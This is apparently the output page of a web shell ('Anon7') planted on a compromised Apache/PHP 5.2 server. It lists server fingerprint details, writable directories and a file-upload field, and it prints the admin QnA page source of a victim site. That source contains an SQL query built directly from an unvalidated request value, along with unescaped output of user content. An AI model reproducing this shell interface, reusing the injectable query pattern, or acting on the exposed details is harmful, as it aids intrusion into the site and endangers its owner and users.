KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/admin/qna_write.php
<?include $_SERVER['DOCUMENT_ROOT']."/admin/adminTopMenu.html";?>
<script type="text/javascript"> 
function validate()
{
	if(!chkBlank(frm.usedate,"답글을 달아주세요")) {return false;}
	
	return true;
}
 
function go_List(tmp_page) {
	var f = document.form;
	f.action = 'qnalist.php?page='+tmp_page;
	f.submit();
}
function go_Delete(idxval) {
	if(confirm("등록된 글이 삭제 됩니다.\n삭제하시겠습니까?")) {
		var f = document.form;
		f.mode.value = 'del';
		f.idx.value = idxval;
		f.action = './Proc/qna_proc.php';
		f.submit();
	}
}
function go_pass(idxval) {
		var f = document.form;
		f.mode.value = 'pass';
		f.idx.value = idxval;
		f.action = './Proc/qna_proc.php';
		f.submit();
}


</script>
 <?
 $tableName = "qna";
 if($idx){
	$qry = "SELECT * FROM board_$tableName where no='$idx'";
	$result= mysql_query($qry,$db_con);
	$row = mysql_fetch_array($result);

	$loginDate = substr($row[logindate],0,10);
	$regDate = substr($row[cdate],0,10);
	if($row[general_setting] == 1){
		$gubunName = "その他";
	}else if($row[general_setting] == 2){
		$gubunName = "入金確認";
	}else if($row[general_setting] == 3){
		$gubunName = "GOODS払い戻し要請";
	}else if($row[general_setting] == 4){
		$gubunName = "GOODS取り消し";
	}

	$naviChkName = "수정";
	$mode ="proc";
}else{
	$naviChkName = "등록";
	$mode ="";
}
 ?>
<div id="contents">
<h2>QnA</h2>
<div id="content">
<form name="form" method="post" action="./Proc/qna_proc.php" onsubmit="return validate();" enctype="multipart/form-data">
	<input type="hidden" name="mode" value="<?=$mode?>">
	<input type="hidden" name="idx" value="<?=$idx?>">
	<input type="hidden" name="page" value="<?=$page?>">
	<table class="write" summary="관리자모드 게시판입니다" cellspacing="0" >
		<colgroup>
			<col width="80"/>
			<col />
		</colgroup>
			<tbody>
				<tr>
					<th>ID</th>
					<td><?=$row[user_id]?> &nbsp;<b>NAME </b>: <?=$row[user_name]?> &nbsp;<b>email </b>: <?=$row[email]?></td>
				</tr>
				<tr>
					<th>등록일</th>
					<td><?=$row[reg_date]?></td>
				</tr>
				<tr>
					<th>분류</th>
					<td><?=$gubunName?></td>
				</tr>
				<tr>
					<th>제목</th>
					<td><?=$row[subject]?></td>
				</tr>
				<tr>
					<th>내용</th>
					<td><?=stripslashes($row[contents])?></td>
				</tr>
				<tr>
					<th>답글일자</th>
					<td><?=$row[modify_date]?></td>
				</tr>
				<tr>
					<th>답글</th>
					<td>
					<textarea cols="60" id="editor_kama" name="reply_content" rows="10"><?=stripslashes($row[reply_content])?></textarea>
					<script type="text/javascript">
					//<![CDATA[

						CKEDITOR.replace( 'editor_kama',
							{
								skin : 'kama',
								enterMode		: 2,
								shiftEnterMode	: 3,
								width: '650',
								language : 'ja',

								//filebrowserBrowseUrl : '/browser/browse.php',
								filebrowserUploadUrl : '/ckfinder/core/connector/php/connector.php?command=QuickUpload&type=Files'
								//filebrowserWindowWidth : '640 ',
								//filebrowserWindowHeight : '480'


							});
					//]]>
					</script>
					</td>
				</tr>
			</tbody>
		</table>
		<div class="btn">
			<input type="submit" value="PASS" class="btn_blue" onClick="go_pass(<?=$idx?>);"/>
			<input type="submit" value="<?=$naviChkName?>하기" name="" class="btn_red" />
			
			<input type="button" value="삭제하기" class="btn_red" onClick="go_Delete(<?=$idx?>);" />
			<input type="button" value="목록보기" class="btn_blue" onClick="go_List(<?=$page?>);" />
	</div>
	</form>
</div>
<p></p>
</body>
</html>

Anon7 - 2021